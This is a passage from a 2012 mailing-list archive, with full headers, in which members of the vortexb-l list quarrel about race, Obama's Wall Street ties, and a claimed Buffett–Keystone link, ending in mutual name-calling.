NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 08:25:51 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29GPgbN000713; Fri, 9 Mar 2012 08:25:42 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29GPZop000620; Fri, 9 Mar 2012 08:25:35 -0800 Resent-Date: Fri, 9 Mar 2012 08:25:35 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz14.mailnet.ptd.net From: "Jeff Fink" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 11:21:39 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_01CCFDE6.CC494100" X-Mailer: Microsoft Office Outlook 11 thread-index: Acz99na8uLJ51xMxTOSzSews5OZRHwACPGrAAAP3tyA= X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 In-Reply-To: <001101ccfe00$28505470$78f0fd50$@net> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4535 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 776 This is a multi-part message in MIME format. ------=_NextPart_000_0012_01CCFDE6.CC494100 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit It's POLICY!, POLICY!!, POLICY!!! I would be happy to have any of the following black guys for president! Herman Cain Alan Keyes J C Watts Rep. Alan West Walter E Williams Why do you always throw the race card when a conservative disagrees with policy? Jeff P.S. When a high ranking Republican "conservative" like Colin Powell votes for Obama, that's racist. _____ From: OrionWorks - Steven Vincent Johnson [mailto:orionworks@charter.net] Sent: Friday, March 09, 2012 9:23 AM To: vortexb-l@eskimo.com Subject: RE: [VoB]:true or false >From Jeff: > Is this video doctored up? > > http://www.youtube.com/watch?v=MwhKuunp8D8&feature=player_embedded Yeah, right. It's all true!!!! The truth of the matter is that we elected a black man as president of the United States. I suggest those that have a problem with the reality of this fact try to learn to live with the reality of this fact instead of trying to find rationalizations as to why such a reality of such a fact can't be right. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks ------=_NextPart_000_0012_01CCFDE6.CC494100 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

It’s POLICY!, POLICY!!, = POLICY!!!

 

I would be happy to have any of the following black guys for president!

 

Herman = Cain

Alan = Keyes

J C Watts

Rep. Alan = West

Walter E = Williams

 

Why do you always throw the race = card when a conservative disagrees with policy?

 

Jeff

 

P.S.  When a high ranking = Republican “conservative” like Colin Powell votes for Obama, that’s = racist.

From: = OrionWorks - Steven Vincent Johnson [mailto:orionworks@charter.net]
Sent: Friday, March 09, = 2012 9:23 AM
To: vortexb-l@eskimo.com
Subject: RE: [VoB]:true = or false

 

From Jeff:

 

> Is this video doctored = up?

> 

> http://www.youtube.com/watch?v=3DMwhKuunp8D8&feature=3Dplayer_embedde= d

 

Yeah, right. It's all = true!!!!

 

The truth of the matter is that we elected a black = man as president of the United States.

 

I suggest those that have a problem with the reality = of this fact try to learn to live with the reality of this fact instead of = trying to find rationalizations as to why such a reality of such a fact = can’t be right.

 

Regards,

Steven Vincent Johnson

www.OrionWorks.com

www.zazzle.com/orionworks

=

 

------=_NextPart_000_0012_01CCFDE6.CC494100-- From vortexb-l-request@eskimo.com Fri Mar 9 10:00:27 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29I0LH5020316; Fri, 9 Mar 2012 10:00:21 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29I0KA6020293; Fri, 9 Mar 2012 10:00:20 -0800 Resent-Date: Fri, 9 Mar 2012 10:00:20 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=yUnIBFQkZM0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=2JGTv_jbAAAA:8 a=qrFA_WvyAAAA:8 a=yTIk75XiAAAA:8 a=hOpmn2quAAAA:8 a=1-DPfe2kAAAA:20 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=WmIhFO4oweCbuDHhj5UA:9 a=EbaMDihwkOdeZiwNU6sA:7 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=bdmcM0_chmsA:10 a=8PGfyiCYVrkA:10 a=hUswqBWy9Q8A:10 a=sh6PArqQtYdngLzxv5aEQJAsMbE=:19 a=Y_MYlF_fazjS6zJT:21 a=Y1B61AJteigbmKpf:21 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=5-Xtfm3Zq9QInE1CWu4A:9 a=hxvvgRk8GeVP6f6koHUA:7 a=gKO2Hq4RSVkA:10 a=hTZeC7Yk6K0A:10 a=pu_X11a-BwOpG7GG:21 a=_ehgmW290kJ2iJrX:21 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> In-Reply-To: Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 09:56:51 -0800 Message-ID: <00ac01ccfe1e$021de790$0659b6b0$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00AD_01CCFDDA.F3FAA790" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz99na8uLJ51xMxTOSzSews5OZRHwACPGrAAAP3tyAAAmFCAA== Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4536 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 777 This is a multi-part message in MIME format. ------=_NextPart_000_00AD_01CCFDDA.F3FAA790 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I agree with Jeff. I was hoping Cain would have made it into the general election, but the press did a real hatchet job on him, and where was the ACLU, Jesse Jackson and other prominent (aka, self-annointed) black leaders when Cain was being skewered???? Shows then up to be the cowards they are. It is about Policy, and character. What really cracks me up is that Obama is heavily tied into the Wall St. 1%ers and his supporters don't want to see the facts; or is it possible that they aren't aware of his WST ties because they only get their news from one source? Raum Emanuel, former Chief of Staff for Obama, is heavily tied to Wall St. fortunately, the internet is not controlled by themajor media. at least, not yet. This article from Nov'08: -------------- With his choice of Rahm Emanuel, President-elect Barack Obama is getting not just a politically savvy player, but a man with deep ties to the business community, especially to Wall Street. Emanuel is a former investment banker, who has been one of Congress' top recipients of Wall Street contributions since his 2002 election, according to the Center for Responsive Politics. The Illinois congressman, whose fund-raising abilities are legendary, was the top House recipient in the 2008 election cycle of contributions from hedge funds, private equity firms and the securities/investment industry. His top contributors over the course of his Congressional career were Madison Dearborn Partners ($93,600), AT&T Inc. ($86,450), Swiss bank UBS AG ($85,100), Goldman Sachs ($74,750) and JPMorgan Chase & Co. ($73,600) and Dresdner, Kleinwort & Wasserstein ($73,250). (Several of those companies were also big contributors to Obama.) Many of Emanuel's relationships with Wall Street's movers and shakers on Wall Street were personal. After devoting himself to the Clinton White House in the 1990s, Emanuel embarked on a new career in business, saying he wanted to make money to ensure his family's security. In 1999, he went to work for Bruce Wasserstein, a major Democratic donor and Wall Street financier, becoming a partner in the Chicago office of investment bank Wasserstein Perella & Co. Over the course of two-and-a-half years as managing partner, he reportedly made more than $16 million. In those years, he also joined several boards, becoming a director of housing financier Freddie Mac in a period when the agency was plagued with scandal involving campaign contributions and accounting irregularities. --------------------------- And I've seen a list of at least 30 people in Obama's administration that also either worked on Wall St., or have close ties to it. What a joke. I bet none of the OWS crowd has a clue as to how they were being used as a political tool by the very man they think is 'on their side'. The reason Buffet has come out publicly in support of Obama's efforts to raise taxes on the 'rich', is because Buffet owns Burlington Northern Santa Fe railroad, and this is payback for political/regulatory favors received from Obama's administration. it's no surprise that Obama turned down the Keystone pipeline since Buffet's railroad transports much of the oil from Canada, and all that profit would be lost if the pipeline was put in. gee, get a clue people! http://dcinsider.com/election-2012/warren-buffets-railroad-to-benefit-from-o bama-blocking-xl-keystone-pipeline-bloomberg/ THIS IS WHAT WE TAXPAYERS ARE FED UP WITH. AND IT HAPPENS ON BOTH SIDES OF THE AISLE. -Mark From: Jeff Fink [mailto:revtec@PTD.NET] Sent: Friday, March 09, 2012 8:22 AM To: vortexb-l@eskimo.com Subject: RE: [VoB]:true or false It's POLICY!, POLICY!!, POLICY!!! I would be happy to have any of the following black guys for president! Herman Cain Alan Keyes J C Watts Rep. Alan West Walter E Williams Why do you always throw the race card when a conservative disagrees with policy? Jeff P.S. When a high ranking Republican "conservative" like Colin Powell votes for Obama, that's racist. _____ From: OrionWorks - Steven Vincent Johnson [mailto:orionworks@charter.net] Sent: Friday, March 09, 2012 9:23 AM To: vortexb-l@eskimo.com Subject: RE: [VoB]:true or false >From Jeff: > Is this video doctored up? > > http://www.youtube.com/watch?v=MwhKuunp8D8 &feature=player_embedded Yeah, right. It's all true!!!! The truth of the matter is that we elected a black man as president of the United States. I suggest those that have a problem with the reality of this fact try to learn to live with the reality of this fact instead of trying to find rationalizations as to why such a reality of such a fact can't be right. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks ------=_NextPart_000_00AD_01CCFDDA.F3FAA790 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I agree with Jeff…

I was hoping Cain would have made it into the general election, but = the press did a real hatchet job on him, and where was the ACLU, Jesse = Jackson and other prominent (aka, self-annointed) black leaders when = Cain was being skewered???? Shows then up to be the cowards they = are…

 

It is about Policy, and character…

 

What really cracks me up is that Obama is heavily tied into the Wall = St. 1%ers and his supporters don’t want to see the facts; or is it = possible that they aren’t aware of his WST ties because they only = get their news from one source?  Raum Emanuel, former Chief of = Staff for Obama, is heavily tied to Wall St… fortunately, the = internet is not controlled by themajor media… at least, not yet. =  This article from Nov’08:

--------------

With his choice of Rahm Emanuel, President-elect Barack Obama is = getting not just a politically savvy player, but a man with deep ties to = the business community, especially to Wall = Street.

 

Emanuel is a former investment banker, who has been one of = Congress’ top recipients of Wall Street contributions since his = 2002 election, according to the Center for Responsive Politics. =

 

The Illinois congressman, whose fund-raising abilities are legendary, = was the top House recipient in the 2008 election cycle of contributions = from hedge funds, private equity firms and the securities/investment = industry.

 

His top contributors over the course of his Congressional career were = Madison Dearborn Partners ($93,600), AT&T Inc. ($86,450), Swiss bank = UBS AG ($85,100), Goldman Sachs ($74,750) and JPMorgan Chase & Co. = ($73,600) and Dresdner, Kleinwort & Wasserstein ($73,250). (Several = of those companies were also big contributors to = Obama.)

 

Many of Emanuel’s relationships with Wall Street’s movers = and shakers on Wall Street were personal. After devoting himself to the = Clinton White House in the 1990s, Emanuel embarked on a new career in = business, saying he wanted to make money to ensure his family’s = security.

 

In 1999, he went to work for Bruce Wasserstein, a major Democratic = donor and Wall Street financier, becoming a partner in the Chicago = office of investment bank Wasserstein Perella & Co. Over the course = of two-and-a-half years as managing partner, he reportedly made more = than $16 million.

 

In those years, he also joined several boards, becoming a director of = housing financier Freddie Mac in a period when the agency was plagued = with scandal involving campaign contributions and accounting = irregularities.

---------------------------

And I’ve seen a list of at least 30 people in Obama’s = administration that also either worked on Wall St., or have close ties = to it.  What a joke… I bet none of the OWS crowd has a clue = as to how they were being used as a political tool by the very man they = think is ‘on their side’…

 

The reason Buffet has come out publicly in support of Obama’s = efforts to raise taxes on the ‘rich’, is because Buffet owns = Burlington Northern Santa Fe railroad, and this is payback for = political/regulatory favors received from Obama’s = administration… it’s no surprise that Obama turned down the = Keystone pipeline since Buffet’s railroad transports much of the = oil from Canada, and all that profit would be lost if the pipeline was = put in… gee, get a clue people!

  http://dcinside= r.com/election-2012/warren-buffets-railroad-to-benefit-from-obama-blockin= g-xl-keystone-pipeline-bloomberg/

 

THIS IS WHAT WE TAXPAYERS ARE FED UP WITH… AND IT HAPPENS ON = BOTH SIDES OF THE AISLE.

 

-Mark

 

From:= = Jeff Fink [mailto:revtec@PTD.NET]
Sent: Friday, March 09, = 2012 8:22 AM
To: vortexb-l@eskimo.com
Subject: RE: = [VoB]:true or false

 

It= ’s POLICY!, POLICY!!, POLICY!!!

 

I = would be happy to have any of the following black guys for = president!

 

He= rman Cain

Al= an Keyes

J = C Watts

Re= p. Alan West

Wa= lter E Williams

 

Wh= y do you always throw the race card when a conservative disagrees with = policy?

 

Je= ff

 

P.= S.  When a high ranking Republican “conservative” like = Colin Powell votes for Obama, that’s = racist.

From:= = OrionWorks - Steven Vincent Johnson [mailto:orionworks@charter.net]=
Sent: Friday, March 09, 2012 9:23 AM
To: vortexb-l@eskimo.com
Subje= ct: RE: [VoB]:true or false

 

From = Jeff:

 

> Is this = video doctored up?

>&nbs= p;

> http://www.youtube.com/watch?v=3DMwhKuunp8D8&feature=3Dpla= yer_embedded

 

Yeah, right. = It's all true!!!!

 

The truth of = the matter is that we elected a black man as president of the United = States.

 

I suggest = those that have a problem with the reality of this fact try to learn to = live with the reality of this fact instead of trying to find = rationalizations as to why such a reality of such a fact can’t be = right.

 

Regards,=

Steven = Vincent Johnson

www.OrionWorks.com

www.zazzle.com/orionworks

 

------=_NextPart_000_00AD_01CCFDDA.F3FAA790-- From vortexb-l-request@eskimo.com Fri Mar 9 10:29:17 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29ITBVP029211; Fri, 9 Mar 2012 10:29:15 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29IT5HM029140; Fri, 9 Mar 2012 10:29:05 -0800 Resent-Date: Fri, 9 Mar 2012 10:29:05 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 9 Mar 2012 10:25:02 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Message-ID: <20120309182502.GD26232@shell.resist.ca> Reply-To: grok@resist.ca References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <00ac01ccfe1e$021de790$0659b6b0$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: HTR-10, al-Qaeda Senior Leadership, Fajr, FN P90, Pathfinders User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4537 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 778 Great. We have to share the 'Over-Unity' movement with outright reactionaries, if not utter fascists. -- grok. As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > I agree with Jeff. > > I was hoping Cain would have made it into the general election, but the > press did a real hatchet job on him, and where was the ACLU, Jesse Jackson > and other prominent (aka, self-annointed) black leaders when Cain was being > skewered???? Shows then up to be the cowards they are. > > > > It is about Policy, and character. > > > > What really cracks me up is that Obama is heavily tied into the Wall St. > 1%ers and his supporters don't want to see the facts; or is it possible that > they aren't aware of his WST ties because they only get their news from one > source? Raum Emanuel, former Chief of Staff for Obama, is heavily tied to > Wall St. fortunately, the internet is not controlled by themajor media. at > least, not yet. This article from Nov'08: > > -------------- > > With his choice of Rahm Emanuel, President-elect Barack Obama is getting not > just a politically savvy player, but a man with deep ties to the business > community, especially to Wall Street. > > > > Emanuel is a former investment banker, who has been one of Congress' top > recipients of Wall Street contributions since his 2002 election, according > to the Center for Responsive Politics. > > > > The Illinois congressman, whose fund-raising abilities are legendary, was > the top House recipient in the 2008 election cycle of contributions from > hedge funds, private equity firms and the securities/investment industry. > > > > His top contributors over the course of his Congressional career were > Madison Dearborn Partners ($93,600), AT&T Inc. ($86,450), Swiss bank UBS AG > ($85,100), Goldman Sachs ($74,750) and JPMorgan Chase & Co. ($73,600) and > Dresdner, Kleinwort & Wasserstein ($73,250). (Several of those companies > were also big contributors to Obama.) > > > > Many of Emanuel's relationships with Wall Street's movers and shakers on > Wall Street were personal. After devoting himself to the Clinton White House > in the 1990s, Emanuel embarked on a new career in business, saying he wanted > to make money to ensure his family's security. > > > > In 1999, he went to work for Bruce Wasserstein, a major Democratic donor and > Wall Street financier, becoming a partner in the Chicago office of > investment bank Wasserstein Perella & Co. Over the course of two-and-a-half > years as managing partner, he reportedly made more than $16 million. > > > > In those years, he also joined several boards, becoming a director of > housing financier Freddie Mac in a period when the agency was plagued with > scandal involving campaign contributions and accounting irregularities. > > --------------------------- > > And I've seen a list of at least 30 people in Obama's administration that > also either worked on Wall St., or have close ties to it. What a joke. I > bet none of the OWS crowd has a clue as to how they were being used as a > political tool by the very man they think is 'on their side'. > > > > The reason Buffet has come out publicly in support of Obama's efforts to > raise taxes on the 'rich', is because Buffet owns Burlington Northern Santa > Fe railroad, and this is payback for political/regulatory favors received > from Obama's administration. it's no surprise that Obama turned down the > Keystone pipeline since Buffet's railroad transports much of the oil from > Canada, and all that profit would be lost if the pipeline was put in. gee, > get a clue people! > > > http://dcinsider.com/election-2012/warren-buffets-railroad-to-benefit-from-o > bama-blocking-xl-keystone-pipeline-bloomberg/ > > > > THIS IS WHAT WE TAXPAYERS ARE FED UP WITH. AND IT HAPPENS ON BOTH SIDES OF > THE AISLE. > > > > -Mark > > > > From: Jeff Fink [mailto:revtec@PTD.NET] > Sent: Friday, March 09, 2012 8:22 AM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:true or false > > > > It's POLICY!, POLICY!!, POLICY!!! > > > > I would be happy to have any of the following black guys for president! > > > > Herman Cain > > Alan Keyes > > J C Watts > > Rep. Alan West > > Walter E Williams > > > > Why do you always throw the race card when a conservative disagrees with > policy? > > > > Jeff > > > > P.S. When a high ranking Republican "conservative" like Colin Powell votes > for Obama, that's racist. > > _____ > > From: OrionWorks - Steven Vincent Johnson [mailto:orionworks@charter.net] > Sent: Friday, March 09, 2012 9:23 AM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:true or false > > > > From Jeff: > > > > > Is this video doctored up? > > > > > > http://www.youtube.com/watch?v=MwhKuunp8D8 > > &feature=player_embedded > > > > Yeah, right. It's all true!!!! > > > > The truth of the matter is that we elected a black man as president of the > United States. > > > > I suggest those that have a problem with the reality of this fact try to > learn to live with the reality of this fact instead of trying to find > rationalizations as to why such a reality of such a fact can't be right. > > > > Regards, > > Steven Vincent Johnson > > www.OrionWorks.com > > www.zazzle.com/orionworks > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 11:48:55 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29JmqaL024787; Fri, 9 Mar 2012 11:48:52 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29Jmjgf024708; Fri, 9 Mar 2012 11:48:45 -0800 Resent-Date: Fri, 9 Mar 2012 11:48:45 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=rvNqJbVGdbt4egs52VbhtoJZG7AoPDG9H2iogr/sNfs= c=1 sm=1 a=yUnIBFQkZM0A:10 a=IkcTkHD0fZMA:10 a=t+194oyOKel6p+o+czWDVA==:17 a=yTIk75XiAAAA:8 a=hOpmn2quAAAA:8 a=2JGTv_jbAAAA:8 a=qrFA_WvyAAAA:8 a=1-DPfe2kAAAA:20 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=S9Lh-CXN0fd255BXqPsA:9 a=hJUeDCuJJNAvitLmjp4A:7 a=QEXdDO2ut3YA:10 a=8PGfyiCYVrkA:10 a=hUswqBWy9Q8A:10 a=bdmcM0_chmsA:10 a=sh6PArqQtYdngLzxv5aEQJAsMbE=:19 a=C_-gs0uZLV3a0ukN:21 a=iZhnZJhbno5KDbYg:21 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> In-Reply-To: <20120309182502.GD26232@shell.resist.ca> Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 11:45:26 -0800 Message-ID: <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz+IgQ3vlr7GseLTGao5MUit1m0HQACbfLg Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4538 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 779 grok's typical response of name-calling, lacking any attempt to discuss = or provide facts to support his position. -----Original Message----- From: grok [mailto:grok@resist.ca]=20 Sent: Friday, March 09, 2012 10:25 AM To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Great. We have to share the 'Over-Unity' movement with outright = reactionaries, if not utter fascists. -- grok. As the smoke cleared, Mark Iverson-ZeroPoint = mounted the barricade and roared out: > I agree with Jeff. >=20 > I was hoping Cain would have made it into the general election, but=20 > the press did a real hatchet job on him, and where was the ACLU, Jesse = > Jackson and other prominent (aka, self-annointed) black leaders when=20 > Cain was being skewered???? Shows then up to be the cowards they are. >=20 > It is about Policy, and character.=20 >=20 > What really cracks me up is that Obama is heavily tied into the Wall = St. > 1%ers and his supporters don't want to see the facts; or is it=20 > possible that they aren't aware of his WST ties because they only get=20 > their news from one source? Raum Emanuel, former Chief of Staff for=20 > Obama, is heavily tied to Wall St. fortunately, the internet is not=20 > controlled by themajor media. at least, not yet. This article from = Nov'08: >=20 > -------------- >=20 > With his choice of Rahm Emanuel, President-elect Barack Obama is=20 > getting not just a politically savvy player, but a man with deep ties=20 > to the business community, especially to Wall Street. >=20 > Emanuel is a former investment banker, who has been one of Congress'=20 > top recipients of Wall Street contributions since his 2002 election,=20 > according to the Center for Responsive Politics. >=20 > The Illinois congressman, whose fund-raising abilities are legendary,=20 > was the top House recipient in the 2008 election cycle of=20 > contributions from hedge funds, private equity firms and the = securities/investment industry. >=20 > His top contributors over the course of his Congressional career were=20 > Madison Dearborn Partners ($93,600), AT&T Inc. ($86,450), Swiss bank=20 > UBS AG ($85,100), Goldman Sachs ($74,750) and JPMorgan Chase & Co.=20 > ($73,600) and Dresdner, Kleinwort & Wasserstein ($73,250). (Several of = > those companies were also big contributors to Obama.) >=20 > Many of Emanuel's relationships with Wall Street's movers and shakers=20 > on Wall Street were personal. After devoting himself to the Clinton=20 > White House in the 1990s, Emanuel embarked on a new career in=20 > business, saying he wanted to make money to ensure his family's = security. >=20 > In 1999, he went to work for Bruce Wasserstein, a major Democratic=20 > donor and Wall Street financier, becoming a partner in the Chicago=20 > office of investment bank Wasserstein Perella & Co. Over the course of = > two-and-a-half years as managing partner, he reportedly made more than = $16 million. >=20 > In those years, he also joined several boards, becoming a director of=20 > housing financier Freddie Mac in a period when the agency was plagued=20 > with scandal involving campaign contributions and accounting = irregularities. >=20 > --------------------------- >=20 > And I've seen a list of at least 30 people in Obama's administration=20 > that also either worked on Wall St., or have close ties to it. What a = > joke. I bet none of the OWS crowd has a clue as to how they were being = > used as a political tool by the very man they think is 'on their = side'. >=20 > The reason Buffet has come out publicly in support of Obama's efforts=20 > to raise taxes on the 'rich', is because Buffet owns Burlington=20 > Northern Santa Fe railroad, and this is payback for=20 > political/regulatory favors received from Obama's administration. it's = > no surprise that Obama turned down the Keystone pipeline since=20 > Buffet's railroad transports much of the oil from Canada, and all that = > profit would be lost if the pipeline was put in. gee, get a clue = people! >=20 > http://dcinsider.com/election-2012/warren-buffets-railroad-to-benefit- > from-o bama-blocking-xl-keystone-pipeline-bloomberg/ >=20 > THIS IS WHAT WE TAXPAYERS ARE FED UP WITH. AND IT HAPPENS ON BOTH=20 > SIDES OF THE AISLE. >=20 > -Mark >=20 > From: Jeff Fink [mailto:revtec@PTD.NET] > Sent: Friday, March 09, 2012 8:22 AM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:true or false >=20 > It's POLICY!, POLICY!!, POLICY!!! >=20 > I would be happy to have any of the following black guys for = president! >=20 > Herman Cain > Alan Keyes > J C Watts > Rep. Alan West > Walter E Williams >=20 > Why do you always throw the race card when a conservative disagrees=20 > with policy? >=20 > Jeff >=20 > P.S. When a high ranking Republican "conservative" like Colin Powell=20 > votes for Obama, that's racist. > _____ >=20 > From: OrionWorks - Steven Vincent Johnson=20 > [mailto:orionworks@charter.net] > Sent: Friday, March 09, 2012 9:23 AM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:true or false >=20 > From Jeff: >=20 > > Is this video doctored up? > >=20 > > http://www.youtube.com/watch?v=3DMwhKuunp8D8 >=20 > Yeah, right. It's all true!!!! >=20 > The truth of the matter is that we elected a black man as president of = > the United States. >=20 > I suggest those that have a problem with the reality of this fact try=20 > to learn to live with the reality of this fact instead of trying to=20 > find rationalizations as to why such a reality of such a fact can't be = right. >=20 > Regards, > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks >=20 From vortexb-l-request@eskimo.com Fri Mar 9 11:57:46 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29Jvdax032448; Fri, 9 Mar 2012 11:57:40 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29JvdVQ032440; Fri, 9 Mar 2012 11:57:39 -0800 Resent-Date: Fri, 9 Mar 2012 11:57:39 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 9 Mar 2012 11:53:35 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Message-ID: <20120309195335.GF26232@shell.resist.ca> Reply-To: grok@resist.ca References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: HTR-10, al-Qaeda Senior Leadership, Fajr, FN P90, Pathfinders User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4539 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 780 As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > grok's typical response of name-calling, lacking any attempt to discuss or provide facts to support his position. You don't compromise with fascists, dumb-ass. Basic Politix. -- grok. > -----Original Message----- > From: grok [mailto:grok@resist.ca] > Sent: Friday, March 09, 2012 10:25 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:true or false > > Great. We have to share the 'Over-Unity' movement with outright reactionaries, if not utter fascists. > > -- grok. > > As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > > > I agree with Jeff. > > > > I was hoping Cain would have made it into the general election, but > > the press did a real hatchet job on him, and where was the ACLU, Jesse > > 